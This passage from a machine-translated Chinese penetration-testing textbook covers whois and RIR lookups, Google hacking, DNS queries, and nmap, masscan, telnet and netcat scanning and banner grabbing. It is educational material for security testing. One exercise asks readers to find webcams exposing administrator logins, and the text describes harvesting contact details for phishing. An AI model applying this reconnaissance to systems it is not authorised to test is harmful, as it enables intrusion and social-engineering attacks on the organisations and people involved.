虽然这不能告诉我们很多,但这是一个起点。如果你能把它和你已经获得的其他信息放在一起,你可能会得到更多的关注。有时你可以利用各种来源的信息,以便更好地了解你的目标正在发生什么。你可以通过 LinkedIn 等网站从前雇员那里获得信息,他们可能会提供一份他们在雇主那里用过的供应商特定技能的清单。例如,这可能会告诉您目标使用的是 Palo Alto Networks 设备或 Cisco 设备。如果您发现前雇员任职后的工作列表显示了一套不同的设备,您可能会得出这样的结论:这是一个较新的部署,可能还没有解决所有的错误和配置设置,因此它可能是一个成熟的目标。当然,它也可以只是一个单独的位置,尽管在较大的公司中,他们可能会在所有站点使用相同的设备供应商,以实现统一性并节省批量购买的成本。为了确定你在处理什么,你必须在网络上做一些探索,但是你从工作网站上收集的这些信息作为一个起点可能是有价值的。

互联网注册中心

在互联网上有业务的公司必须在不同的地方登记信息。随着互联网的发展,存储这些信息的位置数量也在增加。当一个公司注册一个域名,比如apress.com,它必须提供存储在互联网名称与数字地址分配机构(ICANN)的联系信息。有许多注册服务商将为消费者提供接口并管理该接口,但所有捕获的数据只有一个存储库。幸运的是,有一个工具可以用来从这个存储库中收集信息。图 2-6 显示了工具whois在命令行的使用。您只需提供一个域名,whois 就会收集该域名的所有信息。这些数据库的问题是,它们长期以来被用来提取联系人,然后用于各种营销和垃圾邮件目的。因此,许多公司使用“私人”注册,这阻止了whois工具透露注册域名的人的联系信息。您将从 whois 查询中获得的信息表明联系信息是隐藏的,因此您不会有任何公司特定的信息。

A417535_1_En_2_Fig6_HTML.jpg

图 2-6。

Whois request

即使您无法获得联系信息,您也可以从 whois 请求中获得其他信息,这些信息是不可拒绝或阻止的,例如该域名的注册商以及创建日期和该域名信息的最后更新日期。这远不如获取域名相关的名称、电话号码、地址和电子邮件地址有趣,但这是有意义的。您还可能会发现注册尚未转为私有的域名,因此您可能能够获得有关域名注册的其他信息。获取 whois 信息有多种方式,包括在任何类似 Unix 的操作系统上使用命令行 whois 程序,如 Linux 或 Mac OS X,如图 2-6 所示。您还可以在任何系统(包括移动设备)上使用 Web 界面。

除了负责域名注册之外,ICANN 还负责通过其下属的一个部门——互联网号码分配机构(IANA)分配互联网协议(IP)地址。IANA 管理 IP 地址和众所周知的端口(网络和电子邮件等众所周知的服务端口)的注册,以及其他事务。IANA 将网络地址块分配给地区互联网注册管理机构(rir),包括美国互联网号码注册管理机构(ARIN)、欧洲网络研究机构(RIPE)、亚太网络信息中心(APNIC)、拉丁美洲网络信息中心(LACNIC)和非洲网络信息中心(AfriNIC)。每个注册管理机构都维护自己的信息数据库,这些信息表明谁拥有 IP 地址块,以及有关组织及其联系信息的信息。注册有着悠久的传统,如域名和 IP 地址块所有权,至少包括技术和管理联系。如果您使用whois查找 IP 地址,您将获得组织信息以及联系信息。担心内部信息泄露的公司通常会隐藏一般的联系信息。

即使在信息是一般性的情况下,您也可以从一个 IP 地址的 whois 查找中收集许多详细信息。在图 2-7 中,您可以看到一个针对 IP 地址的 whois 请求。在响应中,您可以看到一个 IP 地址所属的地址范围。您可以查看 IP 地址属于一个小块还是一个大得多的块。这将有助于你确定调查范围。你可能会得到一个单一的 IP 地址,或者你可能会发现一个单一的 IP 地址,如果你没有从你的目标提供更多的信息。得到完整的区块会给你其他的地址,你可以看看。这也将保护你不至于误戳另一个实际上不属于你正在合作的公司的 IP 地址。

A417535_1_En_2_Fig7_HTML.jpg

图 2-7。

Whois request on an IP address

遗憾的是,Whois 的实现各不相同。一些 whois 实现只会告诉你哪个 RIR 拥有你正在寻找的信息。您可能需要实际指定要查询哪个 RIR。在图 2-7 中,可以看到主机whois.apnic.net被指定为查询 IP 地址 1.1.1.1 信息的系统。通常,每个 RIR 都有一个名为whois的主机名来处理这些查询。对于 APNIC,whois.apnic.net处理请求,而对于 ARIN,whois.arin.net处理请求。其他 rir 有相似的主机名。在图 2-7 中可以看到,该组织拥有区块 1.1.1.0-1.1.1.255。在某些情况下,您可能会看到某个组织拥有一个更大的区块,但另一个组织却获得了一个更具体的区块。能够确定谁拥有特定的地址是非常有帮助的。

在某些情况下,您可能会发现某个特定的 IP 地址被某个公司用作 Web 或电子邮件服务器,而实际上该 IP 地址可能完全属于另一个公司。这可能会告诉你,你的目标公司已经将一些服务外包给一家提供商,而不是在内部托管。

为了让互联网上的每个人都能到达他们想去的地方,有大量的信息可以从一些存储库中获得。这些存储库,即区域性互联网注册中心,可以提供联系地址或 IP 地址范围等信息。你可能还会发现公司很关心他们提供的信息。如果因为被注册商隐藏而没有得到任何联系信息,你会知道该公司至少采取了一些简单的措施来保护自己。这些信息在你前进的过程中可能会很有用,因为你会知道你面对的是一个有一些保护措施的对手。

摘要

在这里你可以学到的最重要的技能是谷歌黑客技术。谷歌黑客利用特定的关键字来帮助缩小搜索参数,以获得非常具体的结果。有了这些信息,您可以更好地识别基础架构中的弱点,但您也可能会发现机密备忘录或其他文档,这些文档可能会提供有用的信息,如用户名或密码。许多公司不知道他们的网络访问系统中存储了什么,谷歌可能会定期对这些系统进行搜索和编目。谷歌黑客关键词可以帮助你将你正在搜索的草堆缩小到几缕干草,这可能会模糊你正在寻找的针。即使在渗透测试之外,谷歌黑客也是一项非常有用的技能。你使用这些关键词越多,它们就越成为你的第二天性,从而减少你在谷歌内部查找信息的时间。

你可以在很多地方收集与公司相关的信息,通常不需要接触公司。在当今世界,公司需要在互联网世界中保持存在,并且经常比他们意识到的更有存在,这仅仅是因为他们不能总是控制现任和前任员工的言行。这意味着像脸书、Twitter 和 LinkedIn 这样的社交网站对你这个渗透测试者来说是非常有价值的资源。您通常可以非常容易地确定该公司在其基础架构中使用哪些供应商,这可以帮助您找到进入途径。通常,工作描述或 LinkedIn 简介会非常具体地介绍正在使用的技术。

此外,您还可以利用各种互联网注册中心来维护与域名和 IP 地址相关的所有信息,这些信息在整个互联网上都是全球性的。通常,这些信息会附带物理地址,甚至联系人姓名、电子邮件地址和电话号码。您可以使用这些信息进行网络钓鱼或其他社会工程攻击。根据您使用的攻击技术,这些信息可能比基础设施供应商的技术细节更有价值。

练习

  1. 使用 Google hacking 技术获得一个网站列表,这些网站可以让您访问具有管理员登录权限的网络摄像头。
  2. 使用whois,如果您使用 Linux 或 Mac OS,可以从命令行,或者通过许多 Web 界面中的一个,来获取关于进程的所有信息。然后,寻找你正在工作的公司的信息。
  3. 使用 whois 收集有关 IP 地址的信息,包括 4.2.2.1 和 8.8.8.8。这两个地址都属于众所周知的域名服务器。
  4. 使用 Google hacking 定位已经生成 500 个内部服务器错误响应的 Web 服务器页面。“500 内部服务器错误”表示服务器在处理请求时遇到了问题,可能是编程错误或配置错误。这两种可能性都有可能被利用。
  5. 使用谷歌黑客获得可能存储在 ICANN 的 pdf 列表。

三、什么是开放的?

通常在这一点上,无论你是被提供了一些开始的地方,还是你在谷歌或互联网注册表中找到了一些,你至少有一些 IP 地址或主机名可以使用。无论哪种情况,域名系统(DNS)都是下一步要做的事情。至少,更好地理解 DNS 的结构和使用是很重要的。DNS 是互联网协议(IP)地址映射到主机名的地方,反之亦然。有一些真正有用的工具,通常在 DNS 中使用,我们将看看这些工具,因为您可能想更详细地了解您正在查看什么以及它可能在哪里。

在这一点上,我们有一些地方可以开始我们可以使用 DNS 来获得基于我们所拥有的额外信息,无论是 IP 地址还是域名。使用 DNS,我们可以从 IP 地址中查找主机名。DNS 也存储一些叫做资源记录的东西。资源记录指示特定主机名或 IP 地址的功能。使用设计用来查询 DNS 服务器的工具,我们可以获得这些信息,并利用它来更好地了解公司可能使用的系统。我们可以确定 Web 服务器在哪里,使用什么系统发送电子邮件,以及与这些系统相关联的 IP 地址。这些主机名和与它们相关联的 IP 地址将提供一些额外的地方,以便对我们的目标进行更直接的探查和刺激。

找到这些主机的目的是为了让我们能够看到主机上正在运行什么应用程序,因为最终这些应用程序将成为我们的目标。我们可以使用端口扫描器(如 nmap)来确定哪些应用程序正在侦听网络端口。还有其他的端口扫描器,甚至有些比 nmap 更快,但是没有一个更古老或更有用。一旦我们有了端口,nmap 也可以给我们应用程序的名称。我们还可以使用一些其他工具来更直接地与底层应用程序进行交互,从而确定正在运行的确切软件。例如,知道端口 80 上有一个 Web 服务器并不能告诉我们太多。理想情况下,我们希望知道正在使用的软件的名称,如 Apache 或 IIS 或 Nginx,以及版本号。nmap 有时可以获得这些信息,尽管还有其他方式。

域名系统

首先,让我们谈谈域名系统(DNS)和它是如何组合在一起的。使用 DNS 的原因是因为人类不能很好地记住数字,而互联网依赖于数字地址,称为 IP 地址。为了让人类能够提供对他们有意义的地址,必须有一个系统能够将人类可读的地址翻译成机器可读的地址,反之亦然。DNS 提供了这个功能,以及其他一些功能。

DNS 是按层次结构组织的。最顶层是顶级域名(TLD)。这些包括。com,。网,。org,。edu 和所有特定于国家的域。您可以在图 3-1 中看到 DNS 层级图。顶级域名下面是二级域名。在图中,您可以看到wubble.comfoo.com以及其他显示为二级域的域名。这些域中的每一个都包含实际的主机名,尽管它们也可能有第三层域,称为子域。例如,如果wubble.com有一个小团体想要它自己的子域,举个例子,它可能是offshoot.wubble.com。下面你可能有类似 www.offshoot.wubble.com 的主机名。

A417535_1_En_3_Fig1_HTML.jpg

图 3-1。

DNS diagram

域名是 DNS 记录(包括主机名)的容器,但域名本身也可以有与之关联的 IP 地址。在图 3-1 中,foo.com是域名,可能包含主机名 www, www.foo.com 可能有 172.20.42.5 的 IP 地址,但foo.com也可能有自己的 IP 地址。该 IP 地址可能完全不同,比如 172.30.15.6。主机名和域名放在一起, www.foo.com ,称为完全限定域名(FQDN)。

每个主机名,像 www.wubble.comwww.microsoft.com ,实际上只是我们能够使用 IP 地址以外的东西的一种方式,因为我们不像我们那样擅长于将名称与事物联系起来那样擅长于记住数字。当您查找属于某个主机名的 IP 地址时,您会执行一个称为递归 DNS 查询的操作。递归查询意味着你从一个地方开始,它把你指向另一个地方,你不断地做这个过程,直到你得到你正在寻找的答案。你要寻找的所有信息都存储在通常称为域名服务器的系统中。权威名称服务器是拥有关于主机名或 IP 地址的最准确信息的服务器,但是为了到达权威服务器,查询从本地或缓存服务器开始。本地或缓存服务器将启动该过程。

当您寻找主机名的 IP 地址时,首先要做的是从本地高速缓存名称服务器发起对 A 记录或地址记录的请求。这通常是企业内部的服务器或服务提供商提供的服务器。当您去请求 www.wubble.com 时,您的客户端将向您的缓存服务器发出请求,该服务器将查看它是否在本地存储了信息。如果没有,它必须从权威服务器上为你找到答案。它首先去的地方是图 3-1 所示图表的最顶端。这些被称为根域名服务器,它们提供了关于在哪里可以找到二级域名服务器的信息,二级域名服务器将是该域的权威服务器。因此,缓存服务器将向与。com 域名,它的地址已经知道,寻找与wubble.com相关的域名服务器。根服务器将回复所请求的域名服务器的信息。缓存服务器然后向权威 DNS 服务器的 IP 地址发出请求,要求 www.wubble.com 。一旦 DNS 找到了wubble.com域的权威服务器,缓存服务器就应该停止搜索。

虽然 A 记录是您最常使用的记录,但 DNS 支持许多其他记录类型。SOA 记录或授权开始记录跟踪信息,如该域的区域上次更新的时间。MX 或邮件交换器记录可以告诉您哪个服务器或 IP 地址是发送邮件到特定域的地址。NS 记录指示与域相关联的名称服务器。A 记录是地址记录,指示与主机名相关联的 IP 地址,而 PTR 记录则相反,将 IP 地址解析为主机名。还有 RR 记录,它指示可能与该域相关联的其他资源。CNAME 记录是一个规范名称,它只是一个别名。使用 CNAME 记录,您可以使一个主机名引用另一个主机名。例如,您可能让主机名transfer成为ftp的 CNAME,主机名ftp成为 A 记录。这意味着如果一个 IP 地址改变了,你只需要改变一个 A 记录,但是你有许多主机名都指向同一个地方。

有许多程序可以用来从 DNS 服务器检索信息。最常见的是 dig、nslookup 和 host。每一个都可以使用配置的本地或缓存服务器请求信息,或者可以直接访问特定的名称服务器。虽然您可以使用这些实用程序,但它们都是命令行程序。如果你喜欢图形界面,有程序可以提供。还有一些网站可以用来执行 DNS 查找。为了确定特定域的名称服务器,您可以使用这些实用程序中的任何一个,或者您可以使用whois,我们之前使用它来查找关于特定域注册给谁的其他信息。

如果您对一个域名执行一个whois查询,您将获得的信息之一将是分配给该域的名称服务器。你可以在图 3-2 中看到这一点。该图显示了对apress.comwhois查找。响应的底部是与域相关联的名称服务器。其中一个是ns1.rackspace.com,另一个是ns2.rackspace.com。查看主机名,我们可以推断为某个地址处理 DNS 的服务提供商是 Rackspace。任何时候,如果您想知道应该检查哪个 DNS 服务器来直接从源获得权威信息,您可以使用whois来获得该域的域名服务器。

A417535_1_En_3_Fig2_HTML.jpg

图 3-2。

Whois query for name servers

实用程序dig非常有用,尽管如果您不熟悉正在查看的内容,解析输出可能会有点困难。然而,dig可以用来在命令行上提取不同的记录。图 3-3 显示了dig的使用。这个特定的请求是寻找邮件交换器(MX)记录。这告诉我们负责接收该域邮件的系统的主机名。每个域至少有一个 MX 记录。从 MX 记录中知道主机名将告诉您,如果您想要使用简单邮件传输协议(SMTP)对组织的接收邮件服务器执行渗透测试,您需要与哪个系统进行交互。

A417535_1_En_3_Fig3_HTML.jpg

图 3-3。

Using dig

我们最关心的回答在回答部分。本部分显示的数据告诉我们,对于域名apress.com,邮件是由 Google 运营的邮件服务器基础设施处理的,或者至少看起来是这样。这可能会告诉我们一些关于他们基础设施的其他信息。在附加部分,dig从答案部分查找了与主机名相关的 IP 地址。你可以看到这些都是 A 记录,或者地址记录。如果您有一个 IP 地址,并且想要从中获得一个主机名,那么您将会寻找一个 PTR(指针)记录。CNAME 记录,或规范名称,实际上只是一个别名。例如,你可以设置web.apress.com有一个 www.apress.com 的 CNAME 条目。这意味着,如果您需要更改这两台主机的 IP 地址,您只需更改 www.apress.com 地址,因为对web.apress.com的任何检查都将强制执行对 www.apress.com 的 A 记录查找,因为它保存了地址。Web.apress.com只是对不同主机名的引用。

Dig 是一个非常强大的 DNS 查找工具,但不是唯一的。虽然 dig 和 nslookup 都可以安装在类似 Unix 的操作系统上,但 dig 通常不能在 Windows 系统上使用。因此,nslookup 值得一看。要执行上述查找,您可以参见图 3-4 中的步骤。

A417535_1_En_3_Fig4_HTML.jpg

图 3-4。

Using nslookup

使用 nslookup,我需要做的第一件事是设置我正在寻找的记录类型。在本例中,我要查找 MX 记录,所以我将我的类型设置为 MX。一旦我完成了这些,我需要做的就是输入域名,nslookup 将为我进行查找。您可以直接查询名称服务器。例如,如果我想直接使用 dig 访问权威服务器,我会在命令的末尾添加@ns.rackspace.com。同样,使用 nslookup,我只需告诉它我要访问的服务器,它就会查询该服务器,而不是在我的系统上配置的 DNS 服务器。进入 nslookup 后,我可以设置服务器,nslookup 会将所有查询发送到该服务器,直到服务器被更改或我们退出程序。这允许我直接在一个服务器上检查,以避免本地服务器上缓存条目的任何问题。

传输协议和端口

互联网协议(IP)是一种网络层协议。如果您不熟悉不同的协议层,您应该查找开放系统互连(OSI)模型。位于 IP 之上的是传输层协议。通常,它们是传输控制协议(TCP)和用户数据报协议(UDP)。这些协议各有不同的功能。如果你绝对地、肯定地必须让它到达那里,并且你想知道它到达那里,你会使用 TCP。这有点像你去邮局时使用递送确认。你会得到类似送货收据的东西。如果你根本不在乎,只是想把它扔在风中,你会使用 UDP。使用 UDP,您会获得一点速度优势,因为没有确保您的消息在另一端被接收的所有开销。使用 TCP,您可以确保不会留下任何数据包。

每种传输层协议都需要一种多路传输流量的方法,这样即使在一台计算机上也可以同时进行多种通信交换。这是通过使用端口来实现的。当数据包在计算机之间(甚至在一台计算机上)发送时,每个数据包都由源端口和目的端口标记,因此计算机可以跟踪它是哪个通信交换的一部分。如果我们没有端口,系统将不知道将入站消息与什么相关联。使用端口,操作系统知道什么应用程序应该得到正在被接收的任何消息。很明显,这在服务器端是正确的,但在客户端也是正确的。当服务器响应时,它必须构建其响应,以便客户端计算机能够将数据包定向到正确的应用程序。因此,服务器利用到达消息中的源端口成为返回消息中的目的端口。传出消息使用的源端口不能在应用程序间重用,这就是为什么操作系统知道如何用返回消息返回到发送消息的应用程序。然而,即使操作系统会跟踪这些信息,这些端口也不会被认为是开放的,因此它们永远不会显示为侦听。当您远程扫描一个系统时,您将永远看不到刚刚用作连接到另一个系统的源端口的端口。

端口扫描

端口扫描使我们能够找到主动侦听来自互联网其余部分的连接的端口。这意味着应用程序已经绑定到该端口,并向操作系统表明它准备好接受该端口上的连接。您可以通过使用 telnet client 或 netcat 之类的程序一次连接一个端口来手动进行端口扫描,但最简单和最好的方法是使用端口扫描程序,该程序可以在成千上万个可用端口中自动执行扫描过程。有几种,但使用最广泛的是 nmap。端口扫描程序的目的是与目标系统通信,以触发指示端口是否正在侦听的响应,这是端口扫描器会做的。这取决于您使用的传输协议。TCP 和 UDP 的行为方式完全不同。这是因为 TCP 是面向连接的协议,这是确保承诺的有保证的交付所必需的。相反,UDP 是无连接的。端口扫描器将利用不同传输协议的工作方式来确定端口是打开的(监听)还是关闭的(不监听)。因此,对 TCP 在系统间建立连接的作用有一个基本的了解是很有用的。为了建立从一个系统到另一个系统的连接,TCP 使用所谓的三次握手。

三次握手做了几件事。首先,它确定另一端有人在听。这可以通过双向握手来完成,因此它也保证了声称的发送者在那里,并且通信不是伪造的,通常被称为欺骗。一旦我们知道所讨论的系统已经就位并可以进行通信,三次握手的另一件事就是设置一些必要的信息,以确保消息以正确的顺序被正确接收。

有两个头字段用于确保消息以正确的顺序发送和接收。这是序列号和确认号,它们是同一枚硬币的两面。序列号是用来表示我们在序列中的位置的。确认信息被发送回去,以表明在另一端已经收到了哪些消息。例如,如果我发送了 100 个字节,我的序列号就是 100。如果另一端已经接收到所有的字节,确认号将是 101,以表示它希望看到下一个字节。

使用 nmap,可以通过两种不同的方式使用三次握手。第一种是 SYN 扫描,也称为半开扫描。在我们深入了解这是什么之前,让我们来看看三方握手实际上是什么样子的。我们将快速浏览一些概念,帮助您更好地理解不同类型的扫描及其工作原理。如果你想更深入地了解,网上有很多资源可以让你更深入地了解 TCP/IP 协议族。

在图 3-5 中,您可以看到左边的客户端笔记本电脑正在与右边的另一个系统进行通信。客户端系统发送设置了同步(SYN)标志的消息。此外,还有一个序列号的 TCP 字段,它被设置为该消息的一部分。这称为初始序列号(ISN ),它不仅用于确定发送消息的顺序,还用于确定接收消息的顺序。接收系统(您可以将其视为服务器)通过设置确认标志(ACK)来做出响应,表示消息已收到。与 ACK 标志一起,它将确认号字段设置为比接收到的序列号大 1。这告诉客户端,在这种情况下,它期望下一个字节数。除了 ACK 标志和编号之外,服务器还通过初始化自己的序列号来建立自己的通信端,客户端将需要这个序列号。因此,它会设置 SYN 标志和序列号。

A417535_1_En_3_Fig5_HTML.jpg

图 3-5。

Three-way handshake

服务器可以使用两个单独的消息来发送 SYN 和 ACK,但是从通信流的角度来看,将两个消息放在一个包中更紧凑。现在,客户端已经表明它想要进行通信,并且建立了用于通信的参数。服务器已作出响应,表明它已开始营业,并已确认客户端。建立双向通信通道的最后一步是客户端向服务器确认。一旦发生这种情况,使用 ACK 标志和确认号来指示序列号已被接收,三次握手就完成了,双方准备好发送和接收消息,根据需要根据正在传输的字节数增加序列号和确认号。

TCP 扫描

SYN 扫描是一种常见的扫描技术,有时也称为半开扫描。在 SYN 扫描中,运行扫描器的系统向目标发送 SYN 消息。目标将通过 SYN/ACK 做出响应,表示端口已打开,或者通过设置了重置(RST)标志的消息做出响应,表示需要重置或关闭通信。这些响应中的任何一个都将告诉扫描器端口的状态,然后可以传递给用户。

这种扫描还有一种可能性,或者您可以使用的任何其他类型的扫描。如果扫描仪没有得到任何反应,这可能意味着一些事情。首先是系统瘫痪了。有些扫描器,如 nmap,会发出 Internet 控制消息协议(ICMP)回应请求,以确定系统是否启动。如果系统用回应应答来响应回应请求,而端口没有响应,这意味着扫描数据包或对扫描数据包的响应被丢弃。使用 TCP,因为它是面向连接的,所以消息将被多次重发,以确保消息不会在传输过程中被简单地丢弃。如果经过多次重试后,仍然没有应答,扫描器将认为数据包被某种过滤器丢弃。结果,您将得到指示该端口正在被过滤的响应,这可能意味着存在某种东西,但只是有防火墙挡路。

默认情况下,像 nmap 这样的扫描器只会扫描有限数量的端口。默认情况下,nmap 将扫描大约 1000 个众所周知的端口。如果您想扫描更多,您可以提供一个逗号分隔的列表或一个范围。你也可以通过在命令行添加一个-p-来告诉 nmap 扫描所有 65,536 个端口,如图 3-6 所示。扫描的端口越多,完成扫描所需的时间就越长,这也是 nmap 默认使用最有可能被使用的端口的原因之一。图 3-6 中的扫描是针对本地网络默认网关的 SYN 扫描。有三个端口显示为打开,一个端口显示为关闭。通常,您不会在列表中看到关闭的端口,因为没有任何理由显示关闭的端口。如果他们不出现,他们被认为是关闭的。在这种情况下,仅从 nmap 扫描结果来看,不清楚为什么会显示关闭的端口。为了确定为什么 nmap 不只是忽略关闭的端口,您必须查看交换的数据包。

A417535_1_En_3_Fig6_HTML.jpg

图 3-6。

nmap scan

由于我们所做的是半开扫描,我们将目标系统置于半开连接状态,这意味着有一个端口正在等待最终确认。为了防止系统利用保持端口打开的资源,nmap 礼貌地向目标系统发送 RST 消息,指示它应该关闭通信,不要再期待任何东西。可能会注意到许多半开连接,因为半开连接可能是 SYN flood 的指示。半开放连接是指已经收到 SYN 消息并发送了 ACK,但尚未收到返回 ACK 的连接。另一个 TCP 扫描使用–sT而不是–sS。这是一个连接扫描,这意味着它通过整个三次握手来创建开放的连接,然后将其拆除。这稍微礼貌一点,但是也增加了扫描器和目标之间发送的消息总数。

SYN 泛洪是通过发送大量 SYN 消息,在系统上留下大量半开连接而产生的。目标上的操作系统可能只有有限数量的插槽可用于这些半开连接,因此有可能使目标处于无法接受任何附加连接请求的状态,从而导致拒绝服务。

还有其他类型的扫描使用 TCP 作为传输协议,并利用 TCP 内置的其他标志,但 SYN 扫描和连接扫描通常会为您提供有关打开和关闭端口的信息。其他扫描曾经有助于逃避检测,但除非您正在使用设备非常过时的网络,否则其他类型的扫描不太可能为您提供与两种最常见的扫描有很大不同的详细信息。

UDP 扫描

虽然您通常连接的大多数服务都使用 TCP 作为传输协议,但并不是所有的服务都这样。其中一些,如 DNS、NTP 和 Syslog,使用 UDP。UDP 扫描的不同之处在于没有定义的发起通信的模式。在 TCP 的情况下,您发送一个 SYN 消息,端口响应指示它是打开的还是关闭的。这在协议中有很好的定义。就 UDP 而言,它应该是快速的和无连接的。这意味着应用程序需要处理诸如消息顺序和确定消息是否已经收到之类的事情。

如果 nmap 向 UDP 端口发送消息,但没有得到应答,这并不意味着什么。这可能意味着端口被关闭并且没有响应。这可能意味着消息被丢弃。这可能意味着有一个应用程序,但该应用程序通常不会对它收到的消息发送响应。因此,nmap 将不得不继续重试该端口,直到它得到一个应答或者干脆放弃,并且它放弃的事实可能实际上意味着或者可能不意味着任何有用的东西。对于 TCP,有与重试相关联的计时规则。这包括回退计时器,以确保您等待可变长度的时间,以防这只是一个计时问题,您在某个地方遇到拥塞。使用 UDP,所有这些都完全取决于应用程序,没有一致的规则。

使用 nmap,您可以使用标记“–sU”进行 UDP 端口扫描。您还可以指定要尝试的端口,就像 TCP 扫描一样。TCP 和 UDP 扫描都允许您使用节流参数"-T"设置扫描速度您最多可以设置 5 个数字,其中 3 是默认值。较低的油门数字会降低通信速度,这可能有助于减少目标对您的检测。更高的限制数导致通信速度更快。你的扫描会更快,但是你会在很短的时间内向你的目标发送大量的流量,这可能会被警惕的防御者注意到。

尽管基本的 TCP 和 UDP 扫描非常常见,但是您可以使用 nmap 进行许多其他类型的扫描。其他一些方法包括在 TCP 报头中设置不同的标志,如 FIN 扫描或 XMAS 扫描。FIN 扫描设置完成(FIN)标志。圣诞节扫描设置了许多其他奇怪的标志,你永远不会看到在同一时间设置。所有的旗帜都摆好后,据说会让包裹像圣诞树一样亮起来。

操作系统和版本扫描

nmap 可以为您获取大量信息,随着您对它的了解越来越多,您甚至可以编写 nmap 可以为您运行的脚本。一条可能非常有用的信息是操作系统的名称和版本。在图 3-7 中,你可以看到一个操作系统扫描的例子,它是使用–O作为参数请求的。

A417535_1_En_3_Fig7_HTML.jpg

图 3-7。

nmap operating system scan

您可以将操作系统扫描与另一个扫描(如 SYN 扫描)结合使用。Nmap 利用由 nmap 开发人员维护的指纹数据库来识别目标操作系统。它利用与打开和关闭端口和初始序列号相关的行为,以及与网络通信和协议相关的其他行为。在此处显示的情况下,扫描正确地识别了目标操作系统,但错误地识别了其版本。版本不正确意味着可能还没有被扫描的操作系统的较新版本的指纹。

除了确定正在使用的操作系统之外,nmap 还能够确定正在运行的应用程序和版本。它通过尝试从与服务的交换中提取信息来实现这一点。为了执行版本扫描,您可以向 nmap 提供-sV。如果您提供-A作为参数,它将进行版本扫描和操作系统扫描。

高速扫描

nmap 不是唯一可用的扫描器,尽管它被广泛使用。还有其他扫描仪,如 masscan,可以非常快速地进行大规模网络扫描。像 nmap 这样的工具可以扫描大的地址块,但它并不是专门为这个功能而开发的。因此,nmap 完全有能力进行大型扫描,但是如果您有大量的地址块需要扫描,您可能需要考虑专门为此开发的扫描仪。由于 nmap 被广泛认为是默认使用的扫描仪,像 masscan 这样的较新的扫描仪已经实现了相同的命令行参数,以便兼容。massscan 是专门为大型网络的高速扫描而开发的端口扫描仪。既然你在做同样的工作,没有什么特别的理由去多此一举。指定目标、端口和扫描类型的方式与在 nmap 中相同。使用 masscan,您还可以设置每秒数据包的速度。由于 masscan 不使用系统网络堆栈来创建和发送数据包,因此速度非常非常快。在硬件上运行的 Linux 系统的情况下,这意味着不是在虚拟机中,据说它每秒能够发送超过 150 万个包。这可能足以在您的网络上引起重大问题,因此请确保您有一个非常好的理由以该速度运行,并且您已经通知了负责您正在测试的网络的任何人,以防止中断。如果您正在使用或测试客户的网络,这一点尤其正确。

抓取横幅

nmap 可以做的另一个功能是抓取横幅。这意味着它连接到应用程序端口,并获取服务器应用程序在该连接上发出的任何消息。这些被称为横幅或欢迎信息。有时你可以从他们那里得到应用程序的名字和版本号。

识别应用程序和版本是有帮助的,因为通过使用应用程序和版本号,您可以查找可能被利用的漏洞。您可以在很多地方查找这些信息,包括每个供应商,但是您也可以使用常见漏洞和暴露(CVE)项目。你可以在cve.mitre.org访问 CVE 项目维护的数据库。CVE 项目是一种供应商中立的跟踪软件漏洞的方式。他们的数据库会给你一个方法在一个地方查找问题。CVE 知识库是获取这些信息的一个地方。它不是唯一的一个,但是它已经存在了超过 15 年,并且相当全面。

虽然 nmap 能够确定应用程序的名称和版本,但是您可能更喜欢自己直接与应用程序服务器进行交互。一个可以用来做这件事的程序是 telnet 客户端。telnet 这个词有点奇怪,因为它可以指客户机、服务器或协议。在我们的例子中,我们将使用您通常用来连接到 telnet 服务器的程序。然而,这并不是这把小小的瑞士军刀能够发挥的唯一功能。实际上,telnet 客户端实际上只是一个程序,它启动一个到您想要的任何端口的 TCP 连接。如果不指定端口,它默认为端口 23,这是 telnet 服务器将侦听的默认端口。如果您连接到 telnet 服务器,客户端将为您完成 telnet 应用程序协议的所有协商。但是,如果您指定了另一个端口,telnet 客户端将只留给您一个到在该端口监听的应用程序的原始连接。在图 3-8 中,您可以看到使用 telnet 客户端连接到 Google 的 Web 服务器。

A417535_1_En_3_Fig8_HTML.jpg

图 3-8。

Using the telnet client

一旦您使用 telnet 建立了与服务器的连接,您将需要知道一些协议命令以获得响应。有些连接,比如到 SSH 服务器的连接,根本不需要任何协议知识。它将只为您提供版本,如下图所示。除了连接之外,SSH 服务器提供了它的协议版本以及应用程序的名称和版本:

telnet 172.30.42.23 22
Trying 172.30.42.23...
Connected to 172.30.42.23.
Escape character is '^]'.
SSH-2.0-OpenSSH_6.9

然而,并不是所有的服务器都是这样,正如你在图 3-8 中看到的。即使使用了正确的协议,服务器也只提供服务器的名称。在这种情况下,我们通过使用命令GET / HTTP/1.1指示我们正在使用“协议版本 1.1”在服务器的根处寻找默认网页。除此之外,我们指出我们正在寻找的主机名,因为 HTTP 协议的 1.1 版本提供了在单个 IP 地址上虚拟服务器的可能性。然而,我们得到的回报是,这是gws,我们只是碰巧知道它是“谷歌网络服务器”。没有版本号。当然,这是一种安全的操作方式,但并不是所有的软件在信息方面都如此吝啬。

telnet 客户端只能使用 TCP 作为传输协议。如果您想使用 UDP,您将需要使用完全不同的程序。netcat 就是这样一个程序,它也能够使用 TCP,就像 telnet 客户端一样。它还可以在您指定的任何端口上用作 UDP 或 TCP 的监听器。在图 3-9 中,你可以看到一个使用 netcat 连接到 UDP 服务器的例子。为了便于演示,netcat 正在连接的服务器是一个简单的 Python 脚本,当消息到达时,它只是用received进行回复。真实世界的 UDP 服务不会轻易响应,否则它们的通信将是二进制的,不可读的。

A417535_1_En_3_Fig9_HTML.jpg

图 3-9。

Using netcat with UDP

为了在 netcat 中使用 UDP,您需要在命令行中指定–u。否则,netcat 默认使用 TCP 作为传输协议。Netcat 还支持 IPv4 或 IPv6,这使得它非常通用,因为越来越多的企业开始在其网络中实现 IPv6。服务提供商并不允许 IPv6 从客户端通过他们的网络。因此,您不太可能对客户端进行任何远程 IPv6 测试。然而,您有时很可能从客户端网络内部执行测试,因此您可能需要使用 IPv6。

摘要

开始渗透测试时,您会希望在目标网络上找到系统。一旦您找到了有响应的系统,您就需要找到开放的端口。打开的端口将告诉您哪些应用程序正在这些系统上侦听,因为如果没有应用程序在端口上侦听,就不可能有一个端口是打开的。在我们开始检查开放端口之前,您需要理解 IP 地址如何映射到主机名,反之亦然。有几个工具可以与 DNS 一起使用来查找关于目标域的信息。这包括不同类型的主机记录,如邮件交换器。许多信息也与域名相关,尽管有时这些信息是私人的。您可能会获得姓名和电子邮件地址,以便在以后的社交工程攻击中使用。除此之外,您还可以获得与该域相关联的名称服务器,这可能会告诉您该公司正在使用的基础架构的一些信息。

